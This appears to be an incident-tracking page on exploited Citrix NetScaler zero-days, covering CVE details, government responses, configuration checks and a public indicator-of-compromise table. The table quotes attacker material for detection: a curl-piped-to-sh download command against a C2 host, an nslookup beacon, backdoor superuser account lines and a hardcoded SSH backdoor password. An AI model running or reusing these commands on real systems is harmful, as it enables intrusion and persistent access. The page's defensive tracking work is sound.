- Type
- Improper input validation; unauthenticated remote command execution. [1]
- Exposure
- Affects the DEFAULT configuration; no features need to be enabled. [1]
- Root cause (CERT-EU)
- /netscaler/ns_monuploadd_err.pl passes unsanitised input to grep+exec; a tail -1 race condition is also involved. [39]
- Status
- Exploited in the wild; in CISA KEV since Sep 27. [1][16]
Critical Citrix NetScaler ADC / NetScaler Gateway
PitScaler - Citrix NetScaler Zero-Day Crisis
Two Citrix NetScaler ADC and NetScaler Gateway vulnerabilities, CVE-2026-88771 and CVE-2026-88772, were exploited in the wild as zero-days before disclosure. Both allow unauthenticated remote code execution (RCE) and are rated CVSS 4.0 9.5 Critical. Governments and companies across Europe shut down or disconnected their NetScalers while waiting for a patch. [34][110] Citrix fixed them in bulletin CTX697096 together with six other CVEs. [1][16]
- Confirmed exploited zero-days
- 2
- CVEs in bulletin CTX697096
- 8
- Public disclosure
- CISA KEV federal deadline
CVE-2026-88771, CVE-2026-88772
CVE-2026-88771 to -88778
15:51 UTC, per GreyNoise
KEV lists a date, no time; by CISA's 11:59 PM ET convention it expired 1 Oct 03:59 UTC — passed before this snapshot. CVE-2026-88779 followed on 4 Oct, due 7 Oct
Key facts
| Products | Citrix NetScaler ADC and NetScaler Gateway (customer-managed) |
|---|---|
| Confirmed exploited | CVE-2026-88771 (unauthenticated RCE, default configuration) and CVE-2026-88772 (DTLS memory overflow, RCE or DoS), both CVSS 4.0 9.5 and in CISA KEV [1][29] |
| Also in the bulletin | CVE-2026-88773 (chained in the attacks according to Beaumont, not independently confirmed) and CVE-2026-88774 to CVE-2026-88778 (no exploitation reported) [87] |
| SAML issue, now CVE-2026-88779 | Exploited (targeted), in KEV 4 Oct, due 7 Oct. Fixed in 14.1-73.41 / 13.1-64.28 — newer than the CTX697096 builds [3] |
| CVE-2026-107406, new 8 Oct | SAML memory overflow leading to RCE or DoS, CVSS 4.0 9.5, bulletin CTX697191. On the builds fixed for the earlier bulletins only a SAML IdP is affected; on older builds a SAML SP or IdP. Not in KEV; Citrix says it is not aware of any unmitigated exploits. No workaround [4] |
| Exploited since | At least early September 2026. Unit 42 traces fingerprinting back to 21 Aug and .deb webshell requests to 4 Sep, eSentire saw exploitation on 5 Sep, and ACSC advises reviewing from 4 Sep [123][69][26] |
| Fixed builds | Recommended target: 14.1-73.46, 13.1-64.29, 14.1-73.46 FIPS, 13.1.37.283 FIPS/NDcPP and later — covers CTX697096, CVE-2026-88779 and CVE-2026-107406 in one upgrade (details) |
| First action | Preserve evidence and check for compromise, then patch. Patching does not remove a backdoor (detection) |
| Attribution | No actor is named. Mandiant's CTO says suspected state-sponsored actors are likely behind the initial CVE-2026-88772 intrusions [112]; Beazley notes no vendor has named an actor [64] |
| Recommended by | Germany's BSI links to this site and recommends its IoC list (warning BITS-H 2026-289305-1132, 1 Oct 2026). [27] |
| This page | Independent historical snapshot, not a live feed. Every claim is sourced and labelled official, research, telemetry or reported (methodology) |
Overview: exploited NetScaler zero-day vulnerabilities
What happened
Citrix published bulletin CTX697096 with fixes for eight NetScaler ADC and Gateway CVEs on 27 September 2026. [1] The same day, CISA added CVE-2026-88771 and CVE-2026-88772 to the Known Exploited Vulnerabilities catalog, with a federal remediation deadline of 30 September. [16] On 3 October Citrix followed up with bulletin CTX697174 for CVE-2026-88779 — the SAML issue of 2 October — with newer fixed builds; CISA added it to KEV on 4 October, due 7 October. [3][29]
Google GTIG and Mandiant report that CVE-2026-88772 has been exploited since at least early September. Organisations in North America and Europe in government, financial services, education, and legal and professional services were likely affected. The attackers used new custom malware: WHIPSHOT, a PHP webshell, and SLAPSHOT, a Python tunneler that reaches into internal networks. [51]
eSentire's incident response saw CVE-2026-88771 exploited as early as 5 September. In one intrusion a webshell was installed and operated from that day, with signs of data exfiltration and lateral movement into the internal network. eSentire advises treating appliances that were Internet-facing and unpatched in early September as potentially compromised. [69]
Unit 42 counted 50,277 exposed NetScaler instances that could potentially be vulnerable, as of 27 September, from its Cortex Xpanse data. That is an exposure count, not a count of compromised systems. [123]
Censys detects NetScaler ADC or Gateway on 42,735 hosts, as of 28 September. The largest shares are in the US (32%) and Germany (13%). Shadowserver reports more than 20,000 instances exposed and potentially at risk. Both are exposure counts, not confirmed vulnerable or compromised systems. [84][125][124]
Who is affected and who responded
- Victims: GTIG/Mandiant say organisations in North America and Europe in government, financial services, education, and legal and professional services were likely affected. [51][122] watchTowr CEO Benjamin Harris says there is no clear trend yet by industry or organisation size. Mandiant says dozens of organisations were hit, telecommunications among them. [128][122]
- US: CISA added both CVEs to KEV and gave federal agencies until 30 September. [16] Beaumont publicly pointed the NSA at one of its Citrix hosts. The host has been validated as NSA-operated; whether it is compromised is not verified. [93]
- Netherlands: NCSC-NL rates the advisory as high probability, high damage. Central government applied "loskoppelen tenzij" (disconnect unless) from 26 September. The Ministry of the Interior took all Citrix environments offline, and the Amphia (Breda) and ETZ (Tilburg) hospitals closed their patient portals after Z-CERT warned the healthcare sector. [127][132][18][34]
- Germany: BSI rates its warning 3 / Orange (act immediately), says logs should be checked back to at least early September, and links to this site as a collection of detection options and IoCs, and recommends that operators use its growing IoC list. [27]
- Denmark: Danish government agencies, among them PET, the Armed Forces and the police, took their NetScalers offline from Friday 25 September, two days before Citrix's disclosure. Copenhagen Airport also switched off its Citrix environment, and Shodan shows some Danish systems going dark from 23 September, according to Ingeniøren. The Danish Defence Intelligence Service (FE) warned NetScaler users on 27 September. DKCERT, the CERT for Danish universities and research institutions, followed on 29 September. [126][31]
- UK and EU: NCSC-UK published an alert, and NHS England's cyber security operations centre issued alert CC-4858, rating further exploitation "almost certain". CERT-EU published Security Advisory 2026-014 and a technical writeup with hunting guidance, and Luxembourg's CIRCL published a set of per-CVE configuration checks. [32][30][19][39][33]
- Australia: ACSC says Australian organisations have confirmed exploitation since its 28 September alert, and advises reviewing for compromise since at least 4 September. Its 3 October update adds the new SAML issue: ACSC "is aware of impacts to Australian organisations", says a remote attacker may induce system crashes, denial of service and potential exploitation, and points to Citrix's SAML guidance. The alert's original background text, still lower on the page, says no Australian exploitation of the September CVEs had been confirmed at first publication. [26]
- France, Luxembourg and Quebec: CERT-FR says exploitation began before patches existed and relays the GTIG indicators, which it has not qualified. The CSSF tells supervised financial entities that unauthenticated remote code execution is a major ICT-related incident to notify, and CERT Quebec rates the risk critical. [22][23][24]
- Finland: NCSC-FI (Traficom) confirmed intrusions in Finland that began before the 27 September patches were released, warns that internet-facing systems must be assumed exposed and that updating alone may not be enough, and says it has identified hundreds of Finnish NetScaler instances and contacted their administrators. [28]
- Canada, Hong Kong and Singapore: CCCS, HKCERT and CSA Singapore issued advisories. [21][26][25][20]
GreyNoise sensors recorded exploitation from one IP on 24 September, three days before public disclosure. GreyNoise's retro-hunt found no other exploitation sessions before disclosure. That result covers GreyNoise's own sensors, not all Internet activity. [77][78]
The name
Kevin Beaumont (@GossiTheDog) coined the name "PitScaler" on 28 September. [90] It refers to the root cause: a Perl script writing to /tmp. CERT-EU's writeup title describes this as Citrix taking execute logging a bit too literally
. [39]
Reported by Beaumont Unverified claims
- Chaining CVE-2026-88771, -88772 and -88773 gives unauthenticated RCE in the default appliance configuration. Webshells were dropped throughout September. He calls the attackers
Probably nation state aligned
. [87] The quote was checked against the post on 29 September. GTIG/Mandiant separately confirm webshells since at least early September. [51] No one else has confirmed the CVE-2026-88773 link. On attribution, Mandiant's CTO separately says advanced and suspected state-sponsored actors are likely behind the initial CVE-2026-88772 intrusions, without naming an actor [112], and watchTowr says no attribution has been made public. [122] - He says he is tracking over 100 victim organisations, each with a unique webshell. [90]
- His firmware version scanning suggests fewer than 10% of boxes are patched. [92]
These figures are Beaumont's own public statements and have not been independently confirmed.
The NetScaler vulnerabilities: eight CVEs in CTX697096 plus CVE-2026-88779
Citrix's bulletin CTX697096 lists eight CVEs with CVSS 4.0 scores and preconditions, and NCSC-NL's advisory NCSC-2026-0394 gives the same figures. Exploited: CVE-2026-88771, CVE-2026-88772 and - since 4 Oct - CVE-2026-88779 (bulletin CTX697174, below). [18][1][16]
- Type (Citrix)
- Memory overflow leading to RCE or DoS when DTLS is enabled. [1]
- Exposure
- DTLS is ON by default on VPN virtual servers unless the admin sets -dtls OFF. [1]
- Campaign (GTIG/Mandiant)
- Exploited since at least early September. Exploitation crashes the NSPPE packet engine and gives root-level access. Organisations in North America and Europe in government, financial services, technology, education and legal/professional services were likely impacted. [51]
- Mechanics (watchTowr)
- Preauth heap overflow in the DTLS stack (nsppe process); 137,825 bytes written past the buffer; control gained via an overwritten global list pointer, then a ROP chain calling mprotect and jumping to shellcode - full RCE, not just DoS. [42]
- Status
- Exploited in the wild; in CISA KEV since Sep 27. [1][16]
- Config check (Citrix)
- Citrix: a Gateway is vulnerable unless DTLS is explicitly disabled. add vpn vserver vpn1 SSL 10.0.0.0 443 -Listenpolicy NONE means DTLS is on by default; the same line with -dtls OFF means it is off. add vpn vserver vs1 DTLS 10.11.1.1 443 and add lb vserver vd_dtls DTLS 10.146.111.74 443 mean DTLS is enabled. [1]
- Inventory gap (Martin's Blog)
- Checking only VPN vservers is not enough: the bulletin also covers virtual servers configured with type DTLS - including load-balancing vservers. Turning DTLS off on a VPN vserver does not address a separate vserver of type DTLS. Check both running and saved configuration. [47][1]
- Type
- HTTP request smuggling (CWE-444). [1][18]
- Precondition
- HTTP configuration enabled on NetScaler ADC or Gateway. No authentication or user interaction needed (NCSC-NL). [1][18]
- Role (Beaumont)
- Used in a chain with CVE-2026-88771 and CVE-2026-88772 in the original attacks, according to Beaumont. Not independently confirmed; no source reports it exploited on its own. [87]
- Config check (Citrix)
- Citrix: met when load balancing, content switching, VPN or authentication virtual servers of type HTTP or SSL exist (add lb, cs, vpn or authentication vserver, followed by a name and HTTP or SSL). [1]
- Type
- Feature policy bypass due to improper HTTP URL-based expression usage (CWE-16). [1][18]
- Precondition
- Any policy expression configured with an HTTP URL-based expression. [1]
- Config check (Citrix)
- Citrix: the same virtual-server check as CVE-2026-88773 (HTTP or SSL virtual servers on LB, CS, VPN or authentication). [1]
- Type
- Memory overflow leading to unpredictable behaviour or denial of service (CWE-119). [1][18]
- Precondition
- Configured as a Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server. [1]
- Config check (Citrix)
- Citrix: look for configuration lines matching add vpn vserver .* (Gateway) or add authentication vserver .* (AAA). [1]
- Type
- Memory overflow leading to unpredictable behaviour or denial of service (CWE-119). [1][18]
- Precondition
- LB/CS or CGNAT-LSN/NAT64 device with a non-HTTP L7 protocol feature enabled. [1]
- Config check (Citrix)
- Citrix gives case-insensitive configuration-text patterns (not CLI commands) to search in /nsconfig/ns.conf or show ns runningConfig: FTP over LB or CS (add (lb|cs) vserver .* FTP, add service .* FTP), FTP health monitors (add lb monitor .* FTP or FTP-EXTENDED), LSN groups (add lsn group .*; FTP ALG counts as enabled unless set lsn group .* -ftp DISABLED is present), RTSP (set lsn group .* -rtspalg ENABLED), DNS64 (add lb vserver .* DNS .* -dns64 ENABLED; add dns policy64 counts only if bound to a DNS virtual server) and NAT64 (add nat64). [1]
- Type
- TCP Initial Sequence Number (ISN) prediction (CWE-342). [1][18]
- Precondition
- TCP configuration enabled. CIRCL gives a CLI check for disabled Enhanced ISN Generation. [1][33]
- Fix
- Closed by enabling Enhanced ISN Generation; the upgrade alone does not fix it. [1][121][30]
- Config check (Citrix)
- Citrix: both must be true. (1) At least one virtual server of type HTTP, SSL, SSL_BRIDGE, TCP, SSL_TCP, FTP, NNTP, RTSP, RDP, DNS_TCP, DOT, SIP_TCP, SIP_SSL, DIAMETER, SSL_DIAMETER, MYSQL, MSSQL, ORACLE, SMPP, MQTT, MQTT_TLS, MONGO, MONGO_TLS, PROXY, SSL_PROXY, USER_TCP or USER_SSL_TCP. (2) show ns tcpparam | grep "Enhanced ISN Generation" returns DISABLED. [1]
- Type
- Memory overflow vulnerability leading to Remote Code Execution or Denial of Service (CWE-119). [4]
- Exposure (IdP)
- On the builds already fixed for CTX697096 and CVE-2026-88779 - 14.1-73.37 to 73.41 inclusive, 14.1-FIPS 73.37 FIPS to 73.41 FIPS, 13.1-64.23 to 64.28 and 13.1-FIPS/NDcPP 37.279 to 37.282 - the appliance is affected only when configured as a SAML identity provider (IdP). [4]
- Exposure (SP or IdP)
- On older builds - before 14.1-73.37, before 14.1-73.37 FIPS, before 13.1-64.23 and before 13.1-37.279 - the appliance is affected when configured as a SAML service provider (SP) or SAML IdP. [4]
- Config check
- Same applicability check as CVE-2026-88779: the configuration contains add authentication samlAction (SP) or add authentication samlIdPProfile (IdP). [4][2]
- Fix
- 14.1-73.46 and later; 13.1-64.29 and later; 14.1-FIPS 14.1-73.46 FIPS and later; 13.1-FIPS and 13.1-NDcPP 13.1.37.283 and later. These builds also contain the CTX697096 and CVE-2026-88779 fixes, so one upgrade covers all three bulletins. Builds the bulletin does not list (14.1-73.42 to 73.45) with SAML configured: verify with Citrix, per the Poppelgaard checker. [4][56]
- Workaround
- The bulletin lists no workaround. [4][56]
- Also affected
- Secure Private Access Hybrid deployments using NetScaler instances must upgrade these instances to the recommended versions. Citrix-managed cloud services and Citrix-managed Adaptive Authentication are upgraded by Cloud Software Group itself. [4]
- Guidance (Citrix blog)
- The companion blog (updated 8 Oct 17:00 PDT) adds no exploitation claim beyond the bulletin - per reproductions of the advisory it recommends the upgrade plus restricting reachability to SAML and gateway interfaces and disabling unused SAML configurations. The blog sits behind a bot check and could not be read directly. [5][38]
- Status
- Bulletin published 8 Oct 2026. NVD received the record at 22:17 UTC the same day and moved it to Awaiting Analysis on 10 Oct (the CNA CVSS v4.0 9.5 Critical is carried as Secondary; no NVD score yet). Not in the CISA KEV catalog as of catalog 2026.10.08 (re-checked 12 Oct). CISA added the CVE to its NetScaler alert on 9 Oct without claiming exploitation. Per Citrix customer guidance as quoted by secondary coverage, Citrix is not aware of any unmitigated exploits of this vulnerability; no exploitation is independently confirmed, and Previdian sensors have recorded zero exploitation attempts. Two GitHub repositories named as PoCs (9-11 Oct) are text-only scam/fake-PoC READMEs advertising an exploit for sale - no working public exploit exists. [6][29][104][37][38]
- Acknowledgement
- Michael Tucker, Chew Keong Tan and Alex Bernier of the JPMorgan Chase XOR Team, and Maxim Suhanov - the same researchers credited in CTX697096. [4]
- Type
- Memory overflow leading to denial of service (CWE-119). Per Tenable's 4 Oct update, Citrix says it has observed targeted attacks on unmitigated deployments and so far no impact on customer data integrity. [3][36]
- Exposure
- Only appliances configured as a SAML service provider (SP) or SAML identity provider (IdP) - the same applicability check Citrix gave for the 2 Oct issue: add authentication samlAction (SP) or add authentication samlIdPProfile (IdP). Beazley recommends removing unused SAML configurations and restricting SAML endpoints to trusted networks as risk-reduction while patching. [3][36][2][37]
- Disclosure
- Citrix disclosed it on 3 Oct 2026 in bulletin CTX697174, crediting Bishop Fox and watchTowr. This is the CVE assigned to the SAML issue Citrix had described without a CVE since 2 Oct. [3][36]
- Status
- CISA added it to the KEV catalog on 4 Oct 2026 (catalog 2026.10.04), which confirms exploitation; federal remediation deadline 7 Oct 2026. Forensic triage required. Citrix has also released Global Deny List signatures as an interim mitigation on standard (non-FIPS) 14.1 and 13.1 appliances running the 27 Sep builds and managed through NetScaler Console. [29][3][36]
- Mechanism (Beazley, 4 Oct)
- The crash occurs while nsaaad processes the SAML signature canonicalization settings - specifically an oversized InclusiveNamespaces PrefixList. Beazley's IR observed attackers using it to force reboots on appliances already holding an injected pitboss message, so ns_monuploadd_err.pl re-reads and executes the line after reboot; appliances patched on 27 Sep no longer execute the injected commands, with no evidence of code execution on patched systems. CISA's 9 Oct alert revision states the same relationship in the agency's own words: in unpatched deployments, threat actors may exploit CVE-2026-88779 to force a reboot and accelerate conditions to allow execution of code previously injected through exploitation of CVE-2026-88771. [57][16]
- Fix
- Fixed in 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS and 13.1-37.282 FIPS/NDcPP - newer builds than the CTX697096 fixes. SAML deployments that already upgraded to the September builds must upgrade again. [3][36]
Public IoCs Public / TLP:CLEAR only
This table only contains indicators that have been published openly. The Sharing column shows each source's own marking. [77][81][50][51]
- GreyNoise published its set on 28 September, marked TLP:CLEAR. GreyNoise has announced a longer "GreyNoise Labs" version, but the link on its blog was still a placeholder on 29 September.
- IFIN says the observables it shares were shared without restriction.
- Truesec's page is public and has no TLP marking.
- GTIG/Mandiant's blog is public and has no TLP marking. GTIG keeps its full IoC collection for registered GTI users only.
Indicators are not proof of compromise by themselves. Validate any hit against appliance logs, filesystem integrity, process history and configuration changes, following your incident-response procedure.
How to read these. Each indicator was observed by the source named in its row. None of them is a universal indicator for every victim. Beaumont reports that webshell names and attacker IPs are unique per victim. [90][94] An empty search result proves nothing.
Download all IoCs as CSV Firewall blocklist (140 IPs, annotated) Plain IP list Domain blocklist (pylrk.cc wildcard, annotated) Plain domain list
The blocklist contains only the IPv4 indicators whose own source data does not warn against blocking. It excludes Cloudflare WARP egress, shared commercial VPN exits, residential/ISP (CGNAT) addresses and a domain-parking IP — those are in the CSV with their caveats. IPs differ per victim; a blocklist is defence in depth, not a substitute for patching and compromise checks.
| Type | Exact value | Source | Context | Caveat | Sharing |
|---|---|---|---|---|---|
| Account | gw_health | watchTowr [76]; watchTowr Intel [44] | Backdoor superuser added to /flash/nsconfig/ns.conf by the Perl stager watchTowr captured: add system user gw_health <hash> -encrypted plus bind system user gw_health superuser 100. A management-plane account - authenticates via the CLI and management GUI only, not the SSL-VPN surface. The stager strips any existing gw_health line before writing its own | watchTowr honeypot observation. Check ns.conf for any unexpected add system user / bind system user ... superuser pair; compare with show system user for unsaved accounts. | Public blog and GitHub repository, no TLP marking |
| Network | TCP listener on port 37512 | watchTowr Intel [44]; watchTowr [76] | The trojanized Dropbear SSH 2025.88 backdoor binary (/var/walk or /usr/bin/walk) runs as an SSH server on tcp/37512 with a hardcoded password support1 (authenticates any account) and an embedded RSA-2048 key accepted before authorized_keys. watchTowr notes it only gives external access where ns.conf explicitly exposes the port on a Gateway/SSLVPN appliance | Hunt with netstat -an | grep -E 'LISTEN' | grep -E '\.37512'. The binary binds the port regardless, but it is not externally reachable unless the config exposes it. | Public blog and GitHub repository, no TLP marking |
| IPv4 | 52.38.11.186 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (AWS US West) | watchTowr: atomic indicators are transient and likely to change between campaigns; the behavioral patterns are the durable signal. Cloud address space may be reassigned. | Public GitHub repository, no TLP marking |
| IPv4 | 52.39.16.162 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (AWS US West) | watchTowr honeypot capture; atomic indicators are transient. Cloud address space may be reassigned. | Public GitHub repository, no TLP marking |
| IPv4 | 32.186.46.211 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 141.98.212.82 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 165.22.104.177 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (DigitalOcean) | watchTowr honeypot capture; atomic indicators are transient. DigitalOcean is also used by researchers; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 66.42.100.63 | watchTowr [76]; Poppelgaard [56] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (DigitalOcean); also an out-of-band proving source (dnshook.site callbacks) per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15 | watchTowr honeypot capture plus Huntback decoy telemetry. DigitalOcean is also used by researchers; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 104.234.140.132 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 104.234.140.124 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 104.168.34.24 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 165.22.100.102 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (DigitalOcean) | watchTowr honeypot capture; atomic indicators are transient. DigitalOcean is also used by researchers; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 206.189.107.84 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (DigitalOcean) | watchTowr honeypot capture; atomic indicators are transient. DigitalOcean is also used by researchers; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 45.61.144.161 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 45.225.135.18 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 78.128.114.22 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (RACKWEB-NET, Bulgaria - different host from the already-listed 78.128.113.10) | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 159.26.112.64 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (Proton AG space - same neighbourhood as the already-listed VPN exit 159.26.103.184) | watchTowr honeypot capture; atomic indicators are transient. Proton ranges are heavily used by commercial VPN exits - a hit can be an ordinary VPN user; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 185.135.77.63 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 212.86.125.40 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 45.12.239.191 | watchTowr [76] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 194.54.83.22 | Poppelgaard [56] | Out-of-band proving source (dnshook.site callbacks) per Huntback.io's 7 Oct decoy telemetry, carried in Poppelgaard checker v1.15. WHOIS: ORG-FPA22-RIPE, Ukraine | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host. | Public GitHub repository, no TLP marking |
| IPv4 | 107.189.7.141 | Poppelgaard [56] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry (10 days), carried in checker v1.15; Huntback notes some of this group are Tor exits. WHOIS: BUYVM-LUXEMBOURG-02 (BuyVM/FranTech) | Huntback decoy observation relayed via the checker. BuyVM space is also used by Tor exits and ordinary hosting customers - correlate before attributing. | Public GitHub repository, no TLP marking |
| IPv4 | 109.71.252.97 | Poppelgaard [56] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: Datalix, Germany | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim. | Public GitHub repository, no TLP marking |
| IPv4 | 185.121.170.60 | Poppelgaard [56] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: XODO Technology, New Zealand | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim. | Public GitHub repository, no TLP marking |
| IPv4 | 185.243.218.225 | Poppelgaard [56] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: GIGAHOST-NET, Norway | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim. | Public GitHub repository, no TLP marking |
| IPv4 | 192.42.116.101 | Poppelgaard [56] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: TOR-EXIT-AND-MORE (Stichting Privacy1, Netherlands) - a Tor exit relay | Tor exit relay shared by thousands of ordinary users: never block it and never import it into a feed; a connection from it is at most a hunting lead. | Public GitHub repository, no TLP marking |
| IPv4 | 185.220.101.54 | Poppelgaard [56] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: TOR-EXIT (torservers netblock, Germany) - a Tor exit relay | Tor exit relay shared by thousands of ordinary users: never block it and never import it into a feed; a connection from it is at most a hunting lead. | Public GitHub repository, no TLP marking |
| IPv4 | 204.8.96.74 | Poppelgaard [56] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: QUINTEX96 | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim. | Public GitHub repository, no TLP marking |
| IPv4 | 192.42.116.62 | Poppelgaard [56] | Tunnel-dropper source (pinggy/serveo fronted droppers) per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: TOR-EXIT-AND-MORE (Stichting Privacy1, Netherlands) - a Tor exit relay | Tor exit relay shared by thousands of ordinary users: never block it and never import it into a feed; a connection from it is at most a hunting lead. | Public GitHub repository, no TLP marking |
| IPv4 | 192.42.116.65 | Poppelgaard [56] | Tunnel-dropper source (pinggy/serveo fronted droppers) per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: TOR-EXIT-AND-MORE (Stichting Privacy1, Netherlands) - a Tor exit relay | Tor exit relay shared by thousands of ordinary users: never block it and never import it into a feed; a connection from it is at most a hunting lead. | Public GitHub repository, no TLP marking |
| IPv4 | 185.100.87.166 | Poppelgaard [56] | Tunnel-dropper source (pinggy/serveo fronted droppers) per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: FlokiNET-Romania (Tor-friendly host) | Huntback decoy observation relayed via the checker. FlokiNET also hosts Tor infrastructure and privacy services - correlate before attributing. | Public GitHub repository, no TLP marking |
| IPv4 | 77.247.126.239 | Poppelgaard [56] | Backing host of the pinggy/serveo tunnel droppers per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: CLOUVIDER-HB-CLIENT-7899, registered 12 Aug 2026 | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host. | Public GitHub repository, no TLP marking |
| IPv4 | 45.59.125.187 | Poppelgaard [56] | PHP webshell source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: ROUTERHOSTING | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim. | Public GitHub repository, no TLP marking |
| IPv4 | 130.12.182.7 | Poppelgaard [56] | Log-channel C2 per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: RIPE space, netname PRIVATE-NETWORK, registered 8 Oct 2025 | Huntback decoy observation relayed via the checker; the checker gives no protocol detail for the log channel. Attacker IPs can be unique to one victim. | Public GitHub repository, no TLP marking |
| IPv4 | 46.151.182.131 | Poppelgaard [56] | Bot-download host per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: Ghosty-24, registered 13 Sep 2026 - fresh infrastructure | Huntback decoy observation relayed via the checker. Fresh registration is consistent with campaign infrastructure, not proof on its own. | Public GitHub repository, no TLP marking |
| IPv4 | 23.234.80.205 | Poppelgaard [56] | Source of LogonUISimple webshell-alias probes on 7 Oct, per a field report carried in Poppelgaard checker v1.15 (same /24 as the Gotham-observed 23.234.80.246). WHOIS: TZULO (tzulo, inc., United States) | Single field report relayed via the checker. Probing a webshell alias means targeting, not compromise. | Public GitHub repository, no TLP marking |
| IPv4 | 45.143.130.195 | SOCRadar [59]; Poppelgaard [56] | C2 and payload server of the "NetScaler C2" mass-exploitation framework (SOCRadar, identified in the wild, blog 7 Oct; ports 8899/tcp HTTP C2 and 53/udp DNS OOB): the pipeline enumerates FOFA-indexed NetScaler hosts, fingerprints versions, injects curl${IFS}-sk${IFS}45.143.130.195:8899/s/<bid>|sh across 11 unauthenticated endpoints every 30 minutes, and installs a polling agent at /tmp/.nsagent; the DNS fallback beacons via nslookup <bid>.p1.oob.45.143.130.195 | First-hand SOCRadar observation of the toolkit (they recovered the framework but no active C2 instance). Multiple public sources carry this IP since the checker relayed it on 7 Oct. | Public blog, no TLP marking |
| SHA-256 | 8588d11874ab52a1637953dc5538984647023d00b529f695fbd0e40cf8e5e852 | SOCRadar [59] | NetScaler C2 framework: run.sh - the Tmux-based orchestrator chaining the C2 listener, the 30-minute exploitation loop and heartbeat monitoring | From SOCRadar's teardown of the recovered toolkit. Hashes cover the framework files, not victim artifacts. | Public blog, no TLP marking |
| SHA-256 | 4992f575f3f1fc448cf54a4a0ce13cf6548790777abe0af1f935663498ea5639 | SOCRadar [59] | NetScaler C2: targets.py - FOFA mass reconnaissance, 12 queries x 10k results (~120k candidate hosts), honeypot and AWS-range filtering | From SOCRadar's teardown of the recovered toolkit. | Public blog, no TLP marking |
| SHA-256 | 69a34c591eaaa2cbecaeed10c303b8dcf04c846b8408491da5452b9cfc93f686 | SOCRadar [59] | NetScaler C2: probe.py - version fingerprinting and CVE-2026-88771 confirmation of FOFA results (48 workers) | From SOCRadar's teardown of the recovered toolkit. | Public blog, no TLP marking |
